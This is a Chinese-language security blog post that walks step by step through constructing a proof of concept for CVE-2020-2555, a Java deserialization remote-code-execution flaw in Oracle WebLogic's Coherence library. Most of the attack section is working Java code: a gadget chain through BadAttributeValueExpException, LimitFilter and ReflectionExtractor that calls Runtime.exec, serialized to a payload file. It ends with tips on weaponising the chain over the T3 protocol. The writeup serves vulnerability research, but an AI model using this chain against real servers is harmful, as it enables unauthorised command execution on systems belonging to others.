zoukankan      html  css  js  c++  java
  • 教你一步一步构造CVE-2020-2555 POC

    文章首发在安全客:https://www.anquanke.com/post/id/200384

    1、前言

    欸欸欸,不想写论文,起床发现https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server爆出CVE-2020-2555新的gadget细节了,打发打发时间试着写写POC。本文POC构造将会比较详细,挖JDK gadget大佬自动略过吧,还有本文只是POC,不包含exp,那些想要exp的大佬们也直接略过吧,但是你好好读文章构造出exp也不是什么难事,最后会给出exp的思路。

    2、gadget分析思路

    漏洞的gadget如下,需要导入coherence.jar,weblogic12.3.6 lib包下有:
    Alt text
    先抛开上面的gadget总结一下挖掘java反序列化的思路如下:
    挖掘java反序列化的思路
    1、首先要找到反序列化入口(source)
    2、调用链(gadget)
    3、触发漏洞的目标方法(sink)
    反序列化漏洞的挖掘,本质上就是一个已知source和sink,如何走通整个调用流程的问题。在这里的source,可以包括

    1. Java原生的反序列化,即通过ObjectInputStream.readObject(),处理二进制格式内容,得到Java对象
    2. 专有格式的反序列化,例如通过Fastjson, Xstream等第三方库,处理json, xml等格式内容,得到Java对象

    执行目标sink,包括:

    1. Runtime.exec(),这种最为简单直接,即直接在目标环境中执行命令
    2. Method.invoke(),这种需要适当地选择方法和参数,通过反射执行Java方法
    3. RMI/JNDI/JRMP等,通过引用远程对象,间接实现任意代码执行的效果

    从source出发,递归检查其所有方法调用,如果能够执行到sink就是一条gadget。
    拿这条gadget举例,source入口点是BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这条gadget就是通过BadAttributeValueExpException触发的。sink点则是Method.invoke()通过反射方法执行

    3、POC构造过程

    构造poc首先从sink点触发,ReflectionExtractor类的extract函数
    Alt text
    所以构造如下代码是可以弹计算器的:

        public static void main(String[] args) {
            Runtime runtime=Runtime.getRuntime();
            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
            reflectionExtractor.extract(runtime);
        }
    

    反射方式触发:
    Alt text
    再往上回溯,谁触发extract函数,这就找到LimitFilter类的toString()方法:
    Alt text
    在写段代码:

        public static void main(String[] args) {
            Runtime runtime=Runtime.getRuntime();
            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
            reflectionExtractor.extract(runtime);
            LimitFilter limitFilter = new LimitFilter();
            limitFilter.setComparator(reflectionExtractor);
            limitFilter.setTopAnchor(runtime);
            limitFilter.toString();
        }
    
    

    将runtime对象赋值给m_oAnchorTop

            limitFilter.setTopAnchor(runtime);
    

    Alt text
    将reflectionExtractor赋值给m_comparator

            limitFilter.setComparator(reflectionExtractor);
    

    Alt text
    看图的标注,执行2就相当于执行 reflectionExtractor.extract(runtime),就跟POC1构造的一样了。
    Alt text
    效果就是这样:
    Alt text
    在向上回溯,谁触发LimitFilter类的toString()。这也就来到的source入口点,通过BadAttributeValueExpException的readObject函数。读个ysoserial工具源码的都知道CommonsCollections5这就是通过BadAttributeValueExpException触发的。所以要想看明白这里需要先看懂CommonsCollections5,可以看我博客写的:https://www.cnblogs.com/afanti/p/10199235.html,之前读CommonsCollections5,做的笔记如下:

    重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,就会调用BadAttributeValueExpException的val = valObj.toString();

    这就好办了,把val赋值为limitFilter就会调用limitFilter的toString方法,自此打通了整条gadgets。
    在写一段POC:

          Runtime runtime=Runtime.getRuntime();
            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
            LimitFilter limitFilter = new LimitFilter();
            limitFilter.setComparator(reflectionExtractor);
            limitFilter.setTopAnchor(runtime);
    BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
            Field valfield = poc.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(poc, limitFilter);
    
            File f = new File("poc.txt");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(poc);
            out.close();
    

    然鹅,在执行时会报如下错误,Runtime这个类没实现序列化接口,小问题:
    Alt text
    首先先自定义一个危险类,如下:

    import java.io.IOException;
    import java.io.Serializable;
    
    public class Afanti implements Serializable {
        public void exec(String shell) throws IOException {
            Runtime.getRuntime().exec(shell);
        }
    }
    

    完整POC如下:

     Afanti afanti = new Afanti();
            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
            LimitFilter limitFilter = new LimitFilter();
            limitFilter.setComparator(reflectionExtractor);
            limitFilter.setTopAnchor(afanti);
            BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
            Field valfield = poc.getClass().getDeclaredField("val");
    
            valfield.setAccessible(true);
            valfield.set(poc, limitFilter);
    
            File f = new File("poc.txt");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(poc);
            out.close();
    

    调用栈如下,跟文章给的图片一样。
    Alt text

    4 、思路总结

    本文只是教大家怎么写POC,exp就不给出来了提一提思路。既然能够执行实现序列化接口类的任意方法,参数可控,exp构造就不难了。比如:可以找一个类,类的函数有执行代码操作或者文件操作或者反序列化操作又或者jndi注入之类的。这样的类一抓一大把,会构造CVE-2019-2725的,自然知道exp怎么写。写完exp,通过t3协议发包,RCE一发入魂。最后提醒大家一点要想构造jndi的exp,jdk版本得选对,要不会遇到很多坑。(想要找危险类的可以试试我写的这篇文章的工具,改改正则:https://www.anquanke.com/post/id/199703

    参考链接:

    https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
    https://www.oracle.com/security-alerts/cpujan2020.html
    https://www.cnblogs.com/afanti/p/10199235.html

  • 相关阅读:
    【java】报错could not find the main class,program will
    CSS3——阴影
    SSO单点登录系列2:cas客户端和cas服务端交互原理动画图解,cas协议终极分析
    SSO单点登录系列3:casserver端配置认证方式实践
    [转载] jQuery Mobile 开发 Web App 系列文章目录
    SHELL基本语法2
    SHELL编程基本语法
    如何写批处理文件
    LINUX shell-快速参考[一]
    Shell中的引号,反引号,双引号,反斜杠
  • 原文地址:https://www.cnblogs.com/afanti/p/12432831.html
Copyright © 2011-2022 走看看